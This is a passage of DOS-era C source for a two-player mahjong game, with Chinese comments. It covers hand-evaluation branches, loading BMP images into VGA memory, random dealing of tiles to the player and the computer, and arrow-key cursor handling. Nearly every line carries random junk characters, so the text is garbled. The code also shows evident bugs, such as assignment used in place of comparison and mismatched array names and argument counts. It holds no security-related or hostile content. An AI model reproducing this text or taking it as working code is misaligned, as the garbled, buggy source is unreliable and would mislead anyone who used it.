5 n1 _5 `) a" h" Y2 u' ekl=kl+2;
( c4 D- f0 Y' @, o# `if(kl==8)
. L, I. s8 a# _) ~break;
1 C+ R, i) U+ A& r. x/ w}
# ?& O3 y8 t# `8 O3 K. Ptest[ill++]=pt[kl];
8 X0 D/ h3 r6 K6 {* v. Y}/ N/ S( A6 D8 a0 J
isthree(test,tt-2);
/ e# {$ i2 [1 a4 Y}, n! v- I$ o% r. s
} - ]/ A2 j6 F- D
else if(tt==9)
2 z# s) I9 C* A( jisthree(pt,tt);
. s/ q9 ^' A; A2 e, delse if(tt==11): M, Q+ ]# m0 p4 x, L( }! z9 w
for(i=0;i&lt;10;i++)
8 ~, [4 T- `6 Q% x{
; m9 U% ], a4 A9 b; D, l' sfor(j=0;j&lt;2;j++)% S- l- b* h' j2 H1 Q5 S# f
{test[j]=pt[i+j]; 8 q; i9 [( P4 L# `
}4 C) t1 J) {8 E$ Z: O: u& z& \
if(istwo(test))0 \7 L' i5 }% a/ t5 [
{ ill=0;
2 [% R8 x. n$ ~for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*// ^% j! {- g4 r+ A9 n
{if(kl==i)2 B1 H* E7 {" I) ^
{
' F4 s( L* T# Ukl=kl+2;
' w, E/ J) [/ X% [( \if(kl==11)
* O7 Q2 _( c8 lbreak;
  }. n: ~9 v* X}
5 `9 s5 h" q! ]/ j1 l0 ftest[ill++]=pt[kl];
/ f$ N& ?5 M  a* O; t}
' u: }8 d/ `' [# A% y6 Iisthree(test,tt-2); $ g& c! s8 J5 V  E1 G1 Y
}
5 m; _5 `2 D; K4 P; C+ q: L& N$ p$ a) A}
: I: i* T* s2 z% F1 L. @- Felse if(tt=12)
" p+ h: |! ~2 k* u+ Z8 pisthree(pt,tt);( w. \. i1 N) d9 r$ p7 L/ n
else if(tt=14)
- O- Y# z# j; efor(i=0;i&lt;13;i++)' o) u. y* _: t9 T, [. P( u
{
, |& o: z3 P- j. V/ X1 rfor(j=0;j&lt;2;j++)
5 b% ?5 j; o1 ~# d; h5 K{test[j]=pt[i+j]; ; ?2 b' L: o' Q+ e  F4 q6 y
}+ a* O8 H# ?% U
if(istwo(test))
/ k3 x4 J( n5 F* S& \6 C8 \{ ill=0;
$ n8 h4 _7 e$ B; A8 ?- Ffor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
0 T5 M  w& f3 o{if(kl==i)
. W5 U) n* }5 ?{
; W  L2 Y" _4 y/ L, vkl=kl+2;) e, _) W0 P; h8 Y  J( G( g# m- M# U
if(kl==14)
2 b; E/ r5 u3 o3 ybreak;: j7 J% o/ z0 ?; T4 Y! \
}
! F- v3 h1 m. v! {test[ill++]=pt[kl];9 W  F# E6 C8 x8 Y, P' c3 ^
}
$ K3 z2 v( ?! p  xisthree(test,tt-2);
5 `1 a4 |" F; I5 x; @! k% u$ ?, h! _}
6 a. D" G; V# v% S}) C1 q0 |* G9 _$ J
if(ii==2)
! ^: k' C( Z2 k* K" histwo(pi);/ e; O" ?" Z6 s5 E, S2 {9 z
else if(ii==3)* D/ U/ A" ]- d6 g) N
isthree(pi,ii);
$ z$ e! x7 t8 M# celse if(ii==5)
8 l" w( g, A: p0 b  d0 n: t/*pi[5]原始牌数组,假设已经升序排列*/
& T% h2 s  r' S; p, m/*test[3]用来放置测试牌的数组*/- E' T8 r6 W* }% L7 u6 L* g% W
for(i=0;i&lt;4;i++)" r0 q& B" m% Q  W, f0 I
{; k/ A% \; P6 F( |4 L$ p
for(j=0;j&lt;2;j++)8 ~+ t) v9 `4 G
{test[j]=pi[i+j];
, e2 C, k$ @& C" r: i1 K7 p3 e}
1 r7 s$ G& ]- |5 r& G" ?if(istwo(test))
9 Y7 y) O* A# |{ ill=0;
' k, F+ `& y# h& r1 Bfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
; I4 `/ p7 c( m0 q2 |{if(kl==i)3 B1 a. X0 i; h0 ]2 g% A
{/ Q0 o9 {* ]  \/ |
kl=kl+2;
1 @% e" r! y9 E0 {) pif(kl==5)
- y# L- g% T  E4 Q0 Q* y, Obreak;0 P4 f& P  |5 L) }8 S1 _
}3 e# `5 ?* V. c7 N% v% @
test[ill++]=pw[kl];
* d3 e) Z- x, F: l}
  _- [! b$ {4 T2 wisthree(test);
. e5 u7 Y9 j1 N, ]. l}$ v( n) m% h7 v* o
}
- g$ \. z5 I% V/ yelse if(ii==6)
8 f3 D- Q2 o8 {; J# ?/ t) oisthree(pi,ii); % F- [* y3 H. t" h+ E+ a
else if(ii==8)
! T. x  P1 f3 S9 l7 Z; B2 gfor(i=0;i&lt;7;i++)4 v0 B' _, ?4 @6 b/ q0 B
{5 _! T* w0 Z* y: @0 M
for(j=0;j&lt;2;j++)
3 w  r. }+ @2 F5 J8 c) r3 R2 o; f' ?{test[j]=pi[i+j]; ) ~: `1 J/ p- P' `. s8 n. H. m3 u3 o
}
+ U6 E' a5 }4 n1 yif(istwo(test))$ x' S: l% o0 ]# m' U* h9 Q; t
{ ill=0;- n7 a( N8 C* b* A$ m
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/4 I3 W. R$ ^' {  ~$ R0 o
{if(kl==i)
6 @- [$ J3 z8 f2 `{
3 j& M: ?7 G: s( z& `# ]* Kkl=kl+2;
) v5 R8 z# b- Vif(kl==8)) _8 M7 c/ j. Y* r1 z& p  g% R
break;7 g& c6 I' g& j  y9 u1 F
}9 x/ l& T( S$ ^7 E% C9 d
test[ill++]=pi[kl];
* W; B( i* |/ g}
2 [4 g: i9 J" L9 f1 Nisthree(test,ii-2);
1 o( u: T! g  p& ]& O}
  m- S" d9 I  B' z1 H4 R}
1 \8 b1 S: X& r1 Jelse if(ii==9)) r3 l+ t7 x& F$ o, d% Z' P
isthree(pi,ii);2 p: e+ n1 i* U, a" ?
else if(ii==11), D- z  i; `9 {- x9 x5 H
for(i=0;i&lt;10;i++)) g6 {9 F1 ^8 t! r( w& _
{
" y2 m% f- x5 y* hfor(j=0;j&lt;2;j++)
' s% s( Z0 A* I. W( H. A{test[j]=pi[i+j]; : b1 u0 P% A" ~4 O( z
}9 e; j" e, V$ @2 L/ ^: V* k
if(istwo(test))  y3 e! P* Y- t/ V
{ ill=0;& ^, m" o1 f4 I& U! n
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
0 w1 {" Z6 Q' v2 y* l  {{if(kl==i)
) O) j4 A* A" L0 Y{0 U5 \2 d8 s$ Y7 @
kl=kl+2;' z% K# W( q/ ^8 J
if(kl==11)8 I0 Z8 z, C8 ~! `
break;) g9 H# r5 r+ V# u, t1 }
}
( J( I0 v7 j; U" e, s7 [" w. stest[ill++]=pi[kl];
+ l0 z0 W$ J; l+ |( h1 d/ X1 ]' p}2 V( S3 d' m; Y  g- s
isthree(test,ii-2); / q+ z: A( W0 B2 P( j( J8 U
}& ?0 U3 x$ P4 D: {- _$ L* z
} + w6 d* d5 B6 t4 y, u8 }! y- U9 [
else if(ii=12)9 U) ~& @) v6 o1 R. t
isthree(pi,ii);
3 ^& ^. |% L/ l8 W+ r7 O1 kelse if(ii=14)
) l. A& A# |, F4 m( m1 N) _for(i=0;i&lt;13;i++)# W7 W; N% c; k/ {
{! `- L+ \9 `8 `1 U) y- N
for(j=0;j&lt;2;j++)+ g7 W' i# E$ |5 S9 C$ K
{test[j]=pi[i+j];
7 ~7 {" h& K! Z0 Q6 L4 M2 i}/ c, y' P' A1 G5 n
if(istwo(test))
" \# x, I' c, |{ ill=0;6 E# R; s+ z( M$ R( G6 b
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/# o$ n" V  i6 E# d: Y4 b2 G
{if(kl==i)+ k+ B4 m7 X/ u4 [/ s$ g+ ~' i
{
- z& k1 q3 o1 t$ m3 Jkl=kl+2;
4 c: X& A$ E5 ^2 _2 _# aif(kl==14)
* c% o7 \2 b' c9 Rbreak;
. Y, n% L# C6 N  Z) m}
+ Y, d) d7 k% q% f& Q2 l$ b4 f6 atest[ill++]=pi[kl];
5 v! J8 Z3 H/ H, `- e/ Q}
. N4 i$ y* l  O3 Histhree(test,ii-2); % L0 R9 e; T8 j0 g2 |4 y) A' I+ b
}" y& @" J5 _6 u% |" G2 {" p6 r' S
}
* S& a( u! A/ Y9 Eif(ff==2)
7 f, J' z0 o9 m2 u- y0 ^istwo(pf);
2 o8 d! x* }1 V+ H3 c) }else if(ff==3): m3 x1 K5 u# j; t2 c4 f
isthree(pf,ff);
- k: B" D4 r* a3 belse if(ff==5)
2 M; s4 x/ E( x  N/ ^/*pf[5]原始牌数组,假设已经升序排列*/  j/ z5 s5 h# K* t$ z. L# n
/*test[3]用来放置测试牌的数组*/
4 v. b, i; C- r1 y7 n  b& K. vfor(i=0;i&lt;4;i++)1 j9 s& P) E! h1 y7 m- Y8 G" M. `
{
' w) N0 M1 |/ |9 xfor(j=0;j&lt;2;j++)* Q( d1 ~0 s% T
{test[j]=pf[i+j]; " l" S, L8 a% L9 T/ V6 E
}
# c6 N% J. g, F; T/ ]; dif(istwo(test))
. d3 q9 Z9 n7 r{ ill=0;. I% L! h4 g1 d" R; z6 V
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
# K2 I3 F- d& Q8 F5 |2 u6 R( W$ \/ ?{if(kl==i)# J7 p4 [# d, G* i; c# O2 Q
{
8 ^8 F. @) h0 @; Q  v8 hkl=kl+2;
% X8 _/ [* d' e; a$ K+ A8 z* Oif(kl==5)
8 ?7 d, {9 A* [0 a5 O) ubreak;1 x; v' ^8 ~/ G
}* d( F; {9 k) ~! Y, i
test[ill++]=pf[kl];
( V. ~! F' A( C2 W}
8 f" F- `1 W4 Z) A) listhree(test);' Z+ t* N$ F7 S% w4 L& K6 e
}
8 E4 @: u( r1 R: T: B5 g}
' p" J+ E4 ^  o/ T! z0 B) gelse if(ff==6)5 {! }2 ]( B. B/ n* {
isthree(pf,ff);
4 x' d( H9 H6 h) velse if(ff==8)9 A6 a( k7 _7 `* Q. W" j
for(i=0;i&lt;7;i++)" `% ]+ l/ B& i, ^4 `
{
# p1 X$ l5 Q- f6 B0 H: U3 Rfor(j=0;j&lt;2;j++)
& i8 E" M, c: h% d{test[j]=pf[i+j];
1 H* S% P/ ^' E+ F& p% F* P. b}
- l: E$ B4 i9 c. O# Eif(istwo(test))
) I& \0 r% i2 ^. Q! v, A{ ill=0;  D3 q7 q" f. ]4 M
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/8 J1 C! q, ~+ {' I% J
{if(kl==i)
- U, g; y; N' Q8 }- q{
3 E) U7 J5 J0 O6 H, I. P: q5 hkl=kl+2;( `- }, {$ N  Y- X6 f4 F# Y9 s
if(kl==8)6 W; C1 R1 ^% F. |1 {! `
break;
+ d; i+ m- x# N}) j! M. e' t& I  |9 C0 L
test[ill++]=pf[kl];) h' Z0 x; C0 V' c
}9 [+ ~. {( C1 }1 x1 C4 D
isthree(test,ff-2);
( W6 m; Q! n( ^, j; a& w}
( z. B: b8 x) i9 J' e: w}
3 s$ @1 V) |6 l+ k0 |else if(ff==9)
+ C# G$ }* `) D4 Gisthree(pw,ww);/ p+ q$ Y# R2 ~- ~: X* r
else if(ff==11)
4 [2 F1 v8 {# W; ^. h/ ifor(i=0;i&lt;10;i++)
# B% N4 k: Z$ P+ x4 r5 E/ l{) I) v0 ^3 T+ S: m' v. \* c! s" R( U
for(j=0;j&lt;2;j++)5 X$ y4 N$ v8 B
{test[j]=pf[i+j];
  l  S( j7 c( S$ o7 {( u* u: e}
9 K* ?8 v$ p6 O5 Cif(istwo(test))$ R  B5 W( U9 }  p+ O* J
{ ill=0;
2 b1 ^8 S; N2 C* C3 ^- T+ ^& `* [for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
2 V, `& I/ M" ?% i/ ^{if(kl==i)6 [6 i4 J1 V2 g
{: x" F4 _& S- F- K5 ^8 l; ?
kl=kl+2;( c6 ?# `7 U' K4 z1 |. X
if(kl==11)- B* S, T' Z2 P. u
break;
- T, |5 h8 W; w% j% o* \}% T3 t* D  @8 S1 O1 z2 m
test[ill++]=pf[kl];! S# o0 A) m& q: {
}! E+ R( I% T4 g8 I3 s* N7 z% \5 C
isthree(test,ff-2); 9 ~- E1 j; N, o& u- Q% l* b
}( K7 B) K- k- w9 _/ Y" o, e
}
# N/ v! u: `" H) p: v6 E1 Felse if(ff=12)
3 D: O2 I% y; R6 Y5 bisthree(pf,ff);) n: i5 f) ]: L
else if(ff=14)
% r+ G7 Y8 d0 [5 k5 N$ dfor(i=0;i&lt;13;i++)# j7 o& ~3 I5 z" Q; o) b
{% L' f, F4 m- n- Y2 X' ~- j# P* c+ R$ c
for(j=0;j&lt;2;j++)0 R4 C$ v$ Q7 y
{test[j]=pf[i+j];
4 x& r. s3 ]' C! L: Y}& E* L) v. M/ q: f  ^7 F
if(istwo(test))* D, n6 U- _7 {6 y9 J
{ ill=0;6 c) G5 B* i' }! f7 C) F
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
7 n* K; V, M! h& t% E: ]{if(kl==i)9 w$ |9 G/ w5 R; U+ ]
{
+ k7 e/ E* U3 g) @9 rkl=kl+2;' N' T& O2 W( T; e0 {
if(kl==14)
; k2 o' ?: E# F$ Tbreak;6 o$ H& ]1 y* \+ t
}7 l: ~+ S6 X1 n* ^; ^+ J
test[ill++]=pf[kl];
! W, A: Y9 Q7 d" Z- c5 M}# {8 W0 U" r( ?2 [5 d
isthree(test,ff-2);
% J& z* Z! W9 p& `. A  H4 [) b}+ U+ f4 e1 i1 j+ v, z8 L& ]
} ' X0 d& a4 ]* m4 z9 M$ a. e
}! T" p9 D$ ?( P! y
void main(void)
  g1 s/ B- z3 k! h% g{
+ S8 \7 T0 s$ A: X: i" Q7 I% u$ kFILE *bmp;
9 p8 A% G& z3 M; h( G2 ]. y, Gstatic char *name[2]={"ff.bmp","logo.bmp"};
6 I' t- a7 G- r' Vchar *p;1 ]8 |; ~4 w) Y, v7 i
int *lingshi;. b6 t5 O7 c" T! s; M, Y; `
int x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;; s/ r) i& b9 }2 c; |' \
int every=0,w=0,x1,x2,y1,y2,every1=0;- A! S4 H, Y& r2 R' C
int logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;
6 d# V* e% o0 j0 t5 uBYTE palette[256][3];
! U+ ]  j+ A/ Q5 [; S: eSETVGA;
; t2 @5 u, Q, n3 H7 f; G! Dgetch();7 I( I, k3 V6 F# n+ f
while(t--), D5 E4 \3 @9 x+ V
{
/ c- N2 x) Q+ }1 r( Qbmp=fopen(name[t],"rb");
1 M7 ~) o. ]1 e. H# a& afseek(bmp,54,SEEK_SET);* \' {# `) w; A2 h; F0 D
for(i=0;i&lt;256;i++)" K6 X: t( P: p$ U+ @5 E6 _
{
5 W# R/ @, Q; {: H& `palette[2]=fgetc(bmp)&gt;&gt;2;
: M9 p; `& A2 R. F( @0 `palette[1]=fgetc(bmp)&gt;&gt;2;# a& k, Z! C4 K: X$ j1 {0 c
palette[0]=fgetc(bmp)&gt;&gt;2;
. b5 g$ A& n% B; f" l( q0 bfgetc(bmp);" J% ]6 Z/ y4 E7 Z4 z. B5 p
Set_Palette(i,palette[0],palette[1],palette[2]);
1 x$ v: U' t2 x, ?" t5 K: k& X}
  [  `( o# D. y/ q" j. Bfor (y=0;y&lt;200;y++)
/ x3 z6 ?3 Q7 O0 v$ b: I0 B, \for(x=0;x&lt;320;x++)
8 f- u  x! i! H# b/ Cpokeb(0xa000,y*320+x,fgetc(bmp));9 m) u7 h! m) E) I
fclose(bmp);
2 w3 a; C  n6 v( A3 q' {getch();
% m  s1 t5 U2 b" }7 i1 a}
1 B; G8 ]% V( k8 Pgetch();) l: d' ?+ _1 g8 n
fillRectangle(0,0,320,200,0);; J7 }$ c1 E" i7 l7 o/ a
getch();9 i/ H" B5 e" S: Z. R1 o! p
randomize();' e7 I1 `, F: J# F) V' j3 `* o
me.m=onetothirteen;
4 T' X# n8 l  A  b' T' Rwhile(me.m&gt;0) /*先循环,给自己拿牌*/& @, m% K; L' Q# [9 [  O$ s
{
0 r  n  I+ q& ~& L
! y) {+ G8 @2 q3 l1 w1 Ktemp=random(136);
# N6 g( c; S- `2 Vif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
7 u- l0 s! W. y1 K. g6 E{! H6 p$ @6 D$ G4 I' z7 j0 ^' T
me.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/
' L9 N( ?* P2 T- e: xme.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/" L$ \  p1 n* k( l8 [9 g
me.pp[n].number=temp; /*第几张,用来排序*/& X( s# d1 v6 T7 p2 W5 ~3 I/ J; U9 l
m[temp].data2=1; /*判断牌是谁的*// h' x2 L' v1 {5 r/ F, o
kk=1;; d! ^1 l2 L. ]7 J( o
}+ c. p+ o) J! `* @, r
if(kk==0) /*判断如果又选择了,就从新再选*/4 o! R3 z: I1 U+ a/ i2 E
{
2 ^; S, V" i0 V& ^/ Z" sme.m++;
. |9 m, W* ]$ m8 ^3 f) I4 {, Ln--;# `8 F9 K: T$ e
}
2 @# X( K9 G7 m7 Ume.m--;# K2 b+ \* e3 c" Q: m& {
n++;
3 J! ?& g$ ~3 D3 v5 Ukk=0;% }& E" \0 H! z  e1 q1 D
}
, [( ^5 k! p0 g" r! jme.m=12;
  n3 U0 E) b" omelipai(); /*理牌*/
: g9 l  N% e0 l5 w9 {  `% D
  e& A* @4 F; G, Sn=13;: D8 \4 n. E4 b+ D2 ?0 L$ b
while(l&lt;n)
9 @) D+ F. Y) Q& ~' ?, w1 _( N6 G{
0 |. q9 a9 @9 p+ N6 hz=z+20;6 e' o* a5 N' {; N% n
showbmp(l);
7 L( {% G* R3 @, X4 l9 V: W. v- q3 Tl++;
4 d! J9 h5 ~4 x) a; q# ]6 |1 E+ L" l3 f
}
% p3 {1 l4 x: crandomize();
7 u5 O8 a% m+ P8 i1 p- w1 ocomputer.m=oneorthirteen;. w1 z: U  Y$ G1 m, e! ?: T* [' ?9 @
n=0;
$ u( t/ j; }4 o' R) swhile(computer.m&gt;0) /*循环,给对方拿牌*/
% b+ y" t" N6 P" z, T{
/ d6 C" y+ s9 F, }8 w- C% \temp=random(136);
  @8 E5 z% u2 M: w  \if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
4 x6 e1 B8 C4 @$ O; N{5 o- Z2 C) b$ ]" a$ o% M& x0 P
computer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/7 T& R% A6 _2 j* ?
computer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
& ^* C/ `* p8 C- m1 v0 mcomputer.pp[n].number=temp; /*第几张,用来排序*/  u6 s9 e+ I- L0 ~4 O, u. R
m[temp].data2=2; /*判断牌是谁的,2为电脑*/; s% A2 }( V" O6 ?! R* P' S
kk=1;4 s; ^) A5 q: n* b; R4 ]
}8 f3 f, V9 L( _2 S# G
if(kk==0) /*判断如果又选择了,就从新再选*/
& E; ~0 [2 d" S* }{
. Q1 V8 n7 R3 L6 hcomputer.m++;
" I5 j3 d  e; n2 X: B  @! I9 Xn--;
0 w$ F- j3 ^- M" E  x7 z}( @- B$ h( N, u2 D5 i: C
computer.m--;$ F7 J* h3 x; e: T4 z# y8 H
n++;6 D+ ?9 e7 s! s# o
kk=0;% h0 r9 a9 u0 E. V$ E9 h* c
}! n8 a2 M" _. C5 B' E% l9 `
computer.m=12;1 y8 n: C. F* b$ V
comlipai(); /*电脑理牌*/
, R; S) T, h6 D+ `8 j7 P7 K  en=13;4 E# d# Y- r6 i! S9 f
while(ll&lt;n). g  }% ?; H, C( l, g7 h" y
{+ c0 w5 V1 \; M; x" p
zy=zy+20;' F# V# \/ j; J- k
showybmp(ll);
9 |9 G5 M, C, {# A$ ~# Qll++;% g6 S9 y2 O1 |" E. {  S5 j7 Q
}
: w" w0 E* m( F) ]1 D( [! f2 z) ?: Z" z" _5 {# ?- _# R" ^6 g
z=54400;, p* r- Y8 n+ O" e& z! r5 C
while(key!=ESC)
4 {7 u, N2 a4 P$ r0 r{
6 l" ^7 v- ?# w9 w, \
- N. E- h; h; ~0 Q" nkeyy=bioskey(0);
9 w; F5 d" t% s3 l* q& Lif(keyy==LEFT)
  q+ {8 ^; j: j: j8 m& m{ w=1;
% s9 z2 Y  o& v; Z+ X' |7 Bif(every==0)
, T, d" E# o! [. ]% C{' ^' C+ c2 H2 t  r+ b4 ~
every=1;" M0 D& a- t3 n0 r. G
z=54440-5*320;
2 X8 r5 i# C; [8 J
3 Y) u+ V1 ~: [8 W}
2 P2 O% Z8 v. f9 T2 Fzz=zz+5*320;
/ O5 q; _5 S4 Y  [5 `" oshowbmp(every);. N1 z2 X' e$ d' J
if(every==0)
5 r; V5 E) V4 R{; T3 D$ w& I" i! p. F" b, m
x1=20;" l* ^6 P1 T+ y1 N; T
y1=165;; V+ z( |7 T0 S
fillRectangle(x1,y1,x1+20,y1+4,0);% z9 e2 \% e1 _  o4 V* R" [8 H
}2 ?. ]$ J6 ~/ n7 f+ S: D
if(every==1)- o- g; N2 x+ w0 R* h  r5 Q4 i% ~) L- X
{
8 Q0 H) S* m! o. vx1=40;9 S/ Y7 [8 w0 y  q. t8 [
y1=165;
4 k) G1 F) x, {; u+ A" t% A. t& WfillRectangle(x1,y1,x1+20,y1+4,0);
' g% w' U8 E( I# y4 v& O5 U}, a3 B1 J6 ~' t
if(every==2)
6 ^" g1 H( H6 g" b# ~, q{
2 I- R% h8 e/ j& y. Q0 X4 y$ r3 }x1=60;
2 Q. M3 ~2 e! Hy1=165;4 L' Z- }* B0 v8 g
fillRectangle(x1,y1,x1+20,y1+4,0);; \) H2 }$ }# h8 R3 o2 A
}
4 w( U$ p+ h: p/ O( L: Y2 bif(every==3)
- G4 S9 \! g/ l& d1 P5 F{
6 d# K, k! t9 ex1=80;: R6 T6 @6 k! D* Y' o8 F( \
y1=165;. m: V9 c! R1 m. f5 B
fillRectangle(x1,y1,x1+20,y1+4,0);
9 M: F4 Z5 ~4 y4 L' R5 z}
# ?5 F  y) F( E7 B; R* r/ P: b0 _if(every==4)
0 {- v7 {* j& Y4 ]) n9 M{) Y  S8 R, `4 M8 }4 }
x1=100;
0 L$ f' ?! Z) Ty1=165;" u6 w5 K. M% p% [' O% U# |
fillRectangle(x1,y1,x1+20,y1+4,0);* H0 W" }. x5 }7 R
}
& z5 B  ?% c1 ]9 R3 Oif(every==5)9 O* T, r. a& _. D. ~+ V
{/ T% x: [; K% ^$ F+ a' s2 {
x1=120;
# {) A. g3 p/ i. J: S( ^y1=165;
2 I" T2 N5 Y& W# O; KfillRectangle(x1,y1,x1+20,y1+4,0);
7 e! O' X2 p8 S}
/ V5 q" z2 T1 ]; v& \if(every==6)) t! ^2 x3 H/ a
{4 W& S* k; V/ k* K, A* T
x1=140;
' K3 L3 {+ ~' ^  F( m+ ty1=165;4 [- @8 T8 v8 q" u9 D, Z3 K
fillRectangle(x1,y1,x1+20,y1+4,0);
1 q$ \6 ?3 A" d1 N" M}" S0 s1 V" ?, w& A+ B5 c0 f
if(every==7)
, y5 D, E5 l6 ^{6 d( N) U8 ^5 _3 N  h: q  t
x1=160;
) ]) K. u) f, Y6 Ey1=165;
+ f8 t$ p5 t' m7 @) VfillRectangle(x1,y1,x1+20,y1+4,0);# O( }  c+ e, ]) L% {
}
$ g' A- B3 N% B' D4 j; ?2 ~2 d2 ^if(every==8)4 u4 Z3 A$ O+ j( c  a, @
{
1 y" P0 D* E. A! n) _, dx1=180;3 x0 a! Z9 C$ _8 _/ M: y1 q
y1=165;
7 U: V3 D. s" k8 C. g! efillRectangle(x1,y1,x1+20,y1+4,0);
1 b* ]; e: D3 [$ R. F; k5 x}- A1 T, [# W+ d$ Y6 @
if(every==9)) a2 Q$ a1 r+ h. `" R/ c# k
{3 e; w+ L2 u7 s& \# Z- L
x1=200;' ~7 a9 x* H" J$ q* f1 @
y1=165;
9 N! `0 I# j& M& H+ j+ `0 GfillRectangle(x1,y1,x1+20,y1+4,0);
, O3 Q" A! p. S4 f}
4 ^% }; |" K, H1 [+ ?& @7 |/ |6 ~if(every==10)
# `! B3 ]  K0 W# t% T- A{; |: w! u- N- |8 _6 ], |  P
x1=220;
/ J% }( X7 Q1 x9 d2 U0 W5 ~8 Gy1=165;" l6 p) J1 v" Z, j) u- ]
fillRectangle(x1,y1,x1+20,y1+4,0);
; r8 Y* F, Q6 X( v. n}0 o( p2 g$ u, X. A6 ]( {0 {
if(every==11)* {( a/ q& A' H! r9 N+ a
{
" O; @" l5 N! w  Fx1=240;9 b; D( Y+ v5 j* N  @
y1=165;; Q' K8 p5 u) B* [; t: T- K" t9 b0 A
fillRectangle(x1,y1,x1+20,y1+4,0);
& j3 b: i; U# Y1 v* Z}+ l9 W! g+ ?" s) h" x3 o( s% d( O- \4 A6 Y
if(every==12); V* L. P' t7 O* b0 X, Z2 @
{( i$ g9 g2 P. U# D
x1=260;7 N. l$ |' p8 K  W& n2 q
y1=165;
! ^- e4 y  s& X2 p- B: R  zfillRectangle(x1,y1,x1+20,y1+4,0);! S6 C2 f1 |6 R- _* U3 }
}  @2 E+ O+ A$ {. p* ~
zz=0;1 U9 R7 f: Y: I. R1 Y# v
every--;5 j* K4 N; m4 v' v. n
z=z-20;) M3 }1 m7 T! D) x: T7 o
}
' D% u$ a9 H# f$ T! g) e6 S8 q$ q, Oif(keyy==RIGHT)- K9 F& b; e* c% X9 S8 S
{ if(w==0), [7 a* K9 A$ B: e* s' z+ G5 m, R  a
{
3 [1 `6 X4 L; A) K: }z=54440-5*320;
0 L8 f8 d1 c0 u3 n* F( D, ~z=z-20;
( n& i9 L6 H) o4 y2 m  zw=1;. A6 M* p) z" P1 c' r3 g4 h
}
# x9 T2 H1 \! j) ^: v% F# f- @& nif(every==12) # K5 }- m9 r! Y2 P1 w% P
{
; o1 ]9 t- M* r: eevery=11;
( }0 }) M; L! ^/ sz=54640-5*320;
7 I# f; d! y0 g7 B) D, {}: w' `0 m/ n& K& E0 d
zz=zz+5*320;
# Q8 B) D. o( X5 V$ F9 {- @showbmp(every);, H- i( c) q7 w# N6 z: T0 G& S2 u
if(every==0); D2 Y& B4 t" n. Y. J! v
{# k3 F. ]) q5 p
x1=20;2 F2 G7 D; z; i$ ^
y1=165;5 M' l. |$ e: L' k. a
fillRectangle(x1,y1,x1+20,y1+4,0);: r% \1 J+ E* J
}- J- Z7 }# [' W  W" ]/ Z0 c; \
if(every==1)
' m2 q; z& w- `. p" o) \8 \. c{
) F9 `) _( F" ?* h4 |7 U0 wx1=40;
9 Q8 E' W5 v) G1 Q+ u3 E" Ay1=165;
% y2 j8 }4 i; c0 [( g' yfillRectangle(x1,y1,x1+20,y1+4,0);, ?$ ]+ @) l) O& n6 A, A  ?6 \- M
}! M9 E- z) _9 o* Q6 H6 R, v
if(every==2)/ U3 g( s' A$ {5 e5 a& }
{
, G% h  J. E  i0 W+ vx1=60;
- }- e. b% M. r7 O( A* Uy1=165;" L8 j% S# K2 j8 D
fillRectangle(x1,y1,x1+20,y1+4,0);* l% N0 Q. b5 n6 p% Y" `, z# S+ C( l% M
}, \. J( Z$ P* M* F
if(every==3)
( j4 a; `7 Q/ j{# s- j# G* s/ @* u
x1=80;  `1 r6 T3 W; Y) _2 ?) a/ u
y1=165;7 z# I* O* g2 j
fillRectangle(x1,y1,x1+20,y1+4,0);9 E2 v6 V  ^# l
}6 u7 {, {# J* T+ _; u: g$ a' V, N
if(every==4)- H! K, R0 k3 ?* z4 F1 T; y0 ?# E
{9 ~" w7 }) n7 d
x1=100;4 t+ c9 a. V2 S* h4 M8 e
y1=165;0 Z8 [( G1 g$ l7 C* a3 d9 e
fillRectangle(x1,y1,x1+20,y1+4,0);# D4 l" h- n* d! D8 L9 m1 L( z
}# B! `! y9 ]$ n( x; p7 n
if(every==5)3 O, T2 e9 K! \( v2 _3 z7 A
{6 D$ ~) h9 V  \' ?& t% f
x1=120;/ I4 o4 l8 c/ y7 C* i
y1=165;5 C( o( N; q+ q  k' p9 A
fillRectangle(x1,y1,x1+20,y1+4,0);
) w0 w6 m- p& X- V, ^}& n" \, X  _; P; ~$ k& R9 ]
if(every==6)
, N+ l6 ^2 s+ X- o{
( z6 [. S. e  u5 Y! z' ^6 l1 ux1=140;
, |% }7 z8 t) ~, q9 Vy1=165;- X  |* T: @& Q8 B: b
fillRectangle(x1,y1,x1+20,y1+4,0);8 X$ l5 v& Y5 w. t* `! U; q
}
" A8 ]! [( A+ v* L) dif(every==7)9 H1 v2 r& P' R8 n6 n% b
{- r3 U  F2 j8 _7 o! Y; R2 a, Y
x1=160;
2 V! }) I& \' F+ t. ky1=165;
& ?* A7 h1 A- G$ T- b# S5 afillRectangle(x1,y1,x1+20,y1+4,0);) M( H5 a$ L" F! c0 ?
}6 N& @7 }' t6 f" \
if(every==8)
8 _8 D: j" e: s% q6 b{
# D( @7 J& O$ U$ u/ c/ ]x1=180;* r. M' [# l3 r
y1=165;
8 E7 z) c. i9 |8 t3 F( }/ ~fillRectangle(x1,y1,x1+20,y1+4,0);
# X- c  v' B9 `+ R5 I}4 o  s3 ~. T5 j% e1 P0 Y
if(every==9)
+ ^" m( j2 D* r2 l{
5 v7 @' {2 t& g. ]; Q8 B, r; b% Kx1=200;
/ q: _  Z$ |9 Z0 a) ay1=165;
